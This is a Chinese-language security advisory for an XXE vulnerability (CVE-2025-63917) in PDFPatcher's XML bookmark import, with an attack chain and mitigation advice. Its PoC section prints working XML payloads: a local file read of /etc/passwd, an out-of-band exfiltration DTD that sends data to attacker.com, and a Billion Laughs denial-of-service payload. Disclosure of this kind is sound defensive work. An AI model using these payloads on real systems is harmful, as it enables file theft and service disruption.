IPBUF安全漏洞报告
English
CVE-2025-63917 CVSS 7.1 高危

CVE-2025-63917 | PDFPatcher XML书签导入XXE漏洞可导致任意文件读取

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-63917
漏洞类型
XXE(XML外部实体注入)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PDFPatcher

相关标签

XXEXML外部实体注入PDFPatcher任意文件读取SSRFBlind XXECVE-2025-63917.NET XmlDocumentOOB数据泄露高危漏洞

漏洞概述

CVE-2025-63917是PDFPatcher软件中的一个高危安全漏洞,CVSS评分7.1。该漏洞存在于PDFPatcher的XML书签导入功能中,由于应用程序在使用.NET的XmlDocument类解析XML文件时未正确禁用外部实体(XXE)引用,导致存在严重的XML外部实体注入风险。攻击者可以通过诱骗用户导入恶意的XML书签文件,利用XXE漏洞从受害者系统中读取任意文件,包括敏感配置文件、密码文件、SSH密钥等。此外,攻击者还能通过构造特殊的XXE payload发起Out-of-Band(OOB)HTTP请求,实现敏感数据外泄,或对内网资源发起SSRF攻击,甚至通过实体扩展攻击导致应用程序拒绝服务。该漏洞的利用需要用户交互(UI:R),但无需认证(PR:N),攻击者可通过网络(AV:N)发起攻击。CVSS向量显示该漏洞对机密性影响高(C:H),对可用性影响低(A:L),对完整性无影响(I:N)。

技术细节

PDFPatcher是一款流行的PDF文档处理工具,其书签导入功能支持XML格式的配置文件。问题出在应用程序使用.NET Framework的XmlDocument类加载XML书签文件时,未正确配置XmlReaderSettings以禁用外部实体解析。具体来说,XmlDocument类默认允许解析外部实体,攻击者可以在XML文件中通过DOCTYPE定义外部实体引用,如<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>,然后在XML元素中引用&xxe;即可实现任意文件读取。攻击者还可以利用参数实体进行Blind XXE攻击,通过外部DTD文件(如<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">)将文件内容发送到远程服务器。此外,通过构造递归实体或大规模实体引用(如<!ENTITY a "aaaaaaaaaa..."><!ENTITY b "&a;&a;&a;...">)可导致Billion Laughs攻击,造成内存耗尽和拒绝服务。修复方案是在XmlDocument加载前设置XmlResolver为null,或使用安全的XmlReader配合禁用DTD处理的配置。

攻击链分析

STEP 1
步骤1
攻击者创建恶意XML书签文件,包含XXE payload(DOCTYPE定义外部实体引用)
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站或其他社会工程方式诱骗受害者打开PDFPatcher并导入该恶意XML文件
STEP 3
步骤3
PDFPatcher的XmlDocument类解析XML时处理外部实体,向攻击者控制的外部服务器发起HTTP请求或读取本地文件
STEP 4
步骤4
如果使用OOB XXE,敏感文件内容通过HTTP请求发送到攻击者服务器;如果是带内XXE,文件内容可能直接回显在错误信息或书签标题中
STEP 5
步骤5
攻击者收集泄露的敏感信息(如/etc/passwd、SSH密钥、配置文件等)用于进一步攻击或数据出售

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE bookmark [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <PDFPatcher> <Bookmarks> <Item> <Title>&xxe;</Title> <Target>page=1</Target> </Item> </Bookmarks> </PDFPatcher> <!-- Blind XXE PoC for OOB data exfiltration --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE bookmark [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <PDFPatcher> <Bookmarks> <Item> <Title>Malicious Bookmark</Title> <Target>page=1</Target> </Item> </Bookmarks> </PDFPatcher> <!-- evil.dtd hosted on attacker server --> <!ENTITY % payload "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %payload; %exfil; <!-- Billion Laughs DoS PoC --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [ <!ENTITY lol "aaaaaaaaaa"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz>

影响范围

PDFPatcher <= 1.1.3.4663

防御指南

临时缓解措施
在官方修复版本发布之前,建议暂时禁用PDFPatcher的XML书签导入功能,或仅从可信来源导入书签文件。对于必须处理XML的应用场景,可以使用内存流(MemoryStream)配合禁用外部实体的XmlReaderSettings进行安全解析。同时,在边界部署WAF规则检测XXE特征的XML payload(如<!DOCTYPE、<!ENTITY、SYSTEM等关键字)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表